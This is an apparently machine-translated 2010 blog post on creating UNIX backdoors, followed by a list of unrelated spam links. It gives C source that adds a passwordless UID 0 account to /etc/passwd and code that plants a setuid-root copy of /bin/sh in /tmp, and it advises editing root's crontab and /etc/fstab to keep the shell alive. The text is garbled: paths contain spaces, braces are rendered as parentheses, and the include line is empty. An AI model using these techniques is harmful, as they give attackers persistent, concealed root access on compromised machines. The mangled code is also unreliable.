Tuesday, October 12, 2010

Create UNIX Backdoor (primary chapter)



The easiest way is to add a password file passwd UID 0 accounts. But would rather not do, as long as the system administrator to check the password file will be "debacle" of. The following are in / etc / passwd password file, add a UID 0 account of the C program.

<+ +> Backdoor/backdoor1.c

# Include

main ()

(

FILE * fd;

fd = fopen ("/ etc / passwd", "a +");

fprintf (fd, "hax0r:: 0:0:: / root: / bin / sh
");

)

<->

Than this method is a little bit hidden password file will be stored in an account no one is using UID to 0, and the second field (password field) is set to empty. (Note, if you are using a higher version of * nix, we might have to modify / etc / shadow file.)

In the / tmp directory to place suid shell. After running the program as long as you will easily be the root user privileges. This method is almost the most popular. However, many systems every few hours, or every time you start will clear the / tmp directory data, and some systems are simply not allowed to run the / tmp directory suid program. Of course, you can modify or remove these restrictions themselves (because you are the root user, have permission to edit / var / spool / cron / crontabs / root and / etc / fstab file). The following are in / tmp directory to place suid shell program C source code.

<+ +> Backdoor/backdoor2.c

# Include

main ()

(

system ("cp / bin / sh / tmp / fid");

system ("chown root.root / tmp / fid");

system ("chmod 4755 / tmp / fid");

)

<->







Recommended links:



Good Graphic



Jiang Qiping Family Laboratory of Beijing University speech sounded "New Life Movement" horn



Wizard XML Or CSS Tools



Higher heat blow, "Kabbah Wind" paper submitted until 15th of the month



ASF To MPG



Tools And Editors Directory



GPS clock SYNCHRONIZATION



Intrusion Detection Terminology Keys



How to Write better bug report [2]



Infomation Gallery And Cataloging Tools



What is best dvd video to sony psp software



Sun rushes to THE fore: All Free



World Rally 3 cheat



MKV to WMV



Alert! Memory Part Of The Address Damage Caused By Crash



MP4 to WMP



No comments:

Post a Comment